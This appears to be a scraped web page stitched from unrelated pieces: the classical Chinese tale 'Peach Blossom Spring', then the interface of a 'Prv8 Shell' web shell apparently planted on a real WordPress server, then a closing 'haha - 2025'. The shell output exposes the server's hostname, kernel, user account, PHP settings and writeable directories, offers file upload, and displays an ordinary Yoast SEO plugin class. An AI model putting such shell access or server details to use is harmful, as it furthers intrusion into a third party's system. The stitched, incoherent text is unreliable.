晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/stando/www/wp-content/plugins/wordpress-seo-premium/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/stando/www/wp-content/plugins/wordpress-seo-premium/admin/class-extension-manager.php
<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Represents the class that contains the available extensions for Yoast SEO.
 */
class WPSEO_Extension_Manager {

	/**
	 * The transient key to save the cache in.
	 *
	 * @var string
	 */
	const TRANSIENT_CACHE_KEY = 'wpseo_license_active_extensions';

	/**
	 * Holds the extensions to manage.
	 *
	 * @var WPSEO_Extension[]
	 */
	protected $extensions = [];

	/**
	 * List of active plugins.
	 *
	 * @var array
	 */
	protected static $active_extensions;

	/**
	 * Adds an extension to the manager.
	 *
	 * @param string          $extension_name The extension name.
	 * @param WPSEO_Extension $extension      The extension value object.
	 *
	 * @return void
	 */
	public function add( $extension_name, WPSEO_Extension $extension = null ) {
		$this->extensions[ $extension_name ] = $extension;
	}

	/**
	 * Removes an extension from the manager.
	 *
	 * @param string $extension_name The name of the extension to remove.
	 *
	 * @return void
	 */
	public function remove( $extension_name ) {
		if ( array_key_exists( $extension_name, $this->extensions ) ) {
			unset( $this->extensions[ $extension_name ] );
		}
	}

	/**
	 * Returns the extension for the given extension name.
	 *
	 * @param string $extension_name The name of the extension to get.
	 *
	 * @return null|WPSEO_Extension The extension object or null when it doesn't exist.
	 */
	public function get( $extension_name ) {
		if ( array_key_exists( $extension_name, $this->extensions ) ) {
			return $this->extensions[ $extension_name ];
		}

		return null;
	}

	/**
	 * Returns all set extension.
	 *
	 * @return WPSEO_Extension[] Array with the extensions.
	 */
	public function get_all() {
		return $this->extensions;
	}

	/**
	 * Checks if the plugin is activated within My Yoast.
	 *
	 * @param string $extension_name The extension name to check.
	 *
	 * @return bool True when the plugin is activated.
	 */
	public function is_activated( $extension_name ) {
		if ( self::$active_extensions === null ) {
			// Force re-check on license & dashboard pages.
			$current_page = $this->get_current_page();

			// Check whether the licenses are valid or whether we need to show notifications.
			$exclude_cache = ( $current_page === 'wpseo_licenses' || $current_page === 'wpseo_dashboard' );

			// Fetch transient data on any other page.
			if ( ! $exclude_cache ) {
				self::$active_extensions = $this->get_cached_extensions();
			}

			// If the active extensions is still NULL, we need to set it.
			if ( ! is_array( self::$active_extensions ) ) {
				self::$active_extensions = $this->retrieve_active_extensions();

				$this->set_cached_extensions( self::$active_extensions );
			}
		}

		return in_array( $extension_name, self::$active_extensions, true );
	}

	/**
	 * Retrieves the active extensions via an external request.
	 *
	 * @return array Array containing the active extensions.
	 */
	protected function retrieve_active_extensions() {
		return (array) apply_filters( 'yoast-active-extensions', [] );
	}

	/**
	 * Returns the current page.
	 *
	 * @return string The current page.
	 */
	protected function get_current_page() {
		return filter_input( INPUT_GET, 'page' );
	}

	/**
	 * Gets a cached list of active extensions.
	 *
	 * @return boolean|array The cached extensions.
	 */
	protected function get_cached_extensions() {
		return get_transient( self::TRANSIENT_CACHE_KEY );
	}

	/**
	 * Sets the active extensions transient for the set duration.
	 *
	 * @param array $extensions The extensions to add.
	 * @param int   $duration   The duration that the list of extensions needs to remain cached.
	 *
	 * @return void
	 */
	protected function set_cached_extensions( $extensions, $duration = DAY_IN_SECONDS ) {
		set_transient( self::TRANSIENT_CACHE_KEY, $extensions, $duration );
	}
}

haha - 2025